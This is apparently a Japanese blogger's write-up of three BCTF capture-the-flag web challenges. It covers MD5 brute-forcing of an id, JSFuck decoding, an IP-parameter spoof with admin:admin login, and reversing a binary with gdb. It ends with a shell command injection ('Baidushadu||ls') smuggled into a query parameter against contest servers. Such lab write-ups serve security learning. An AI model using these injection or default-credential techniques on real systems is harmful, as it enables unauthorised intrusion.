今週末のCTF - てっじーの丸出しを見て、BCTFというのがあるらしいのを知ったのでちょっとだけやってみた。Baiduがスポンサーらしい。しかし、登録から問題文まで全面中国語なのでGoogle翻訳で乗り切ることに。
問題自体は英語で、ほとんど中国語がなかったのが助かったが、web以外はよくわからなかったので放置。
全体的に見て、無駄なことをさせることが多いというか、意味ないような手探りをさせる部分があったのが残念(webの問題に限って言っている)。
web100

ページにアクセスしてみると、タイトルに"Find a person whose name is Alice."とある。
H.shaoのページは"index.php?id=e958c26cb69fb763faeb2849076d78f4"。このidを検索してみるとは"H.shao545"をMD5のハッシュ値を計算したものだとわかる。したがって、"Alice\d{3}"
総当たりすると、"Alice478"のMD5のハッシュ値である、"d482f2fc6b29a4605472369baf8b3c47"が正解だった。
Hi! Alice Personal Information:d4b2758da0205c1e0aa9512cd188002a.php
と表示されたので、d4b2758da0205c1e0aa9512cd188002a.phpにアクセス。
error<html> <head><title>BT5</title></head> <body style="background-position:center;background-color:black;background-image: url(./bt5.jpg);background-repeat:no-repeat;"> <!-- $_POST['key=OUR MOTTO'] --> </body> </html>
BackTrackの画像が表示された。$_POST['key=OUR MOTTO']と書かれているので、BackTrackのモットーをkeyとしてPOSTした。
この部分、最初はよくわからずに混乱していた。こういうのは何も面白くないし、いらない。
% curl -F key="The quieter you become the more you are able to hear" http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
flag-in-config.php.bakと表示されるのでアクセスしてみる。はぁ、という感じ。

flag-in-config.php.bakなので、config.php.bakにアクセスしてみる。
[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])...とあるので、すぐにJavaScriptだということがわかる。実行させるだけでflagが出力される。
BCTF{Do_you_l0v3_pl4y_D074}全体的に意味のないことをさせる問題だった。
web200

中央のボタンをクリックすると、"You must login at host computer"と言われる。auth.phpにipというパラメータを渡しているのでそこに127.0.0.1を入れるだけだった。すると、Basic認証でユーザー名とパスワードを要求される。admin:adminでログインすることができた。(こういうのもいらない)

ゲームで遊んでみると、敵が異常に強いので進めない。適当なところにブレークポイントを仕掛けて、体力を増やして進んでみると、ゴールがある。ゴールの時点で敵を10匹倒していればflagが表示される。
flagの生成方法自体、とても簡単なものなのでゲームで遊ばなくてもいい。

BCTF{34079%2500|abcdefabcd}
web300

<!--<form class="form-signin" action="test.php.bak">-->
とコメントアウトされているため、test.php.bakを見てみる。
<?php
#$key = $_GET['key'];
#$room = $_GET['room'];
#
#if(strlen($key) != 15)
#{
# echo "The Key is Error\n";
# exit(1);
#}
#if(strlen($room) > 14)
#{
# echo "The room num is too long\n";
# exit(1);
#}
#
#$regex = "/[\w]{0,4}.[\W\d]{0,4}[A-F]{2}[\W\d]{2}[\d]{0,4}/i";
#
#$substitution = array(
# "&" => '',
# "`" => '',
# "\n" => '',
# "\r" => '',
# ......
#);
#
#if(preg_match($regex, $key))
#{
# if($key <= 40)
# {
# $room = str_replace(array_keys($substitution), $substitution, $room);
# shell_exec('./room'.$room);
# }
#}
#
#echo "The key is Error\n";
?>また、http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/roomにtest.php.bakで使われていると思われるroomがある。
% file room room: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xaf7bca965784d10720a0479a207dc53f9635fb83, not stripped % ./room Input room number % ./room 1 The Room(1) password is 1804289383 % ./room a The Room(0) password is 1804289383
以下のような動きをする。
- 引数に渡されたものがatoi()で変換できない長さが10の文字列であれば変換される
- その変換した文字列と"D_kbwqj_fs"を比較し、同じであればstatus codeを255で返す
- 文字列の変換は単純でASCIIをずらしているだけなので、変換元の文字列は"Baidushadu"だとわかる
% gdb room (gdb) b *0x40097f Breakpoint 1 at 0x40097f (gdb) r aaaaaaaaaa Starting program: /home/akiym/room aaaaaaaaaa Breakpoint 1, 0x000000000040097f in main () (gdb) x/s $rsi 0x7fffffffe810: "D_kbwqj_fs" (gdb) x/s $rdi 0x7fffffffe820: "c_c_c_c_c_" (gdb) r bbaaaaaaaa The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/akiym/room bbaaaaaaaa Breakpoint 1, 0x000000000040097f in main () (gdb) x/s $rdi 0x7fffffffe820: "d`c_c_c_c_"
status codeが255なので、||のあとにコマンドを渡して実行することができる。文字数制限があるので、2文字が限界。
lsするだけでいい: http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=AA.0000AA001111&room=Baidushadu||ls
<pre>Room pro is broken!!!</pre><pre>Baidushadu||ls</pre><pre>BCTF{Yooooo_4_God_sake_aay_is_so_C00l}
bootstrap.css
index.html
query.php
query1234567890qwertyuiop.php.bak
query_qwertyuiopsads.php
robots.txt
room
signin.css
test.php.bak
</pre>3番目に解いていたらしい。
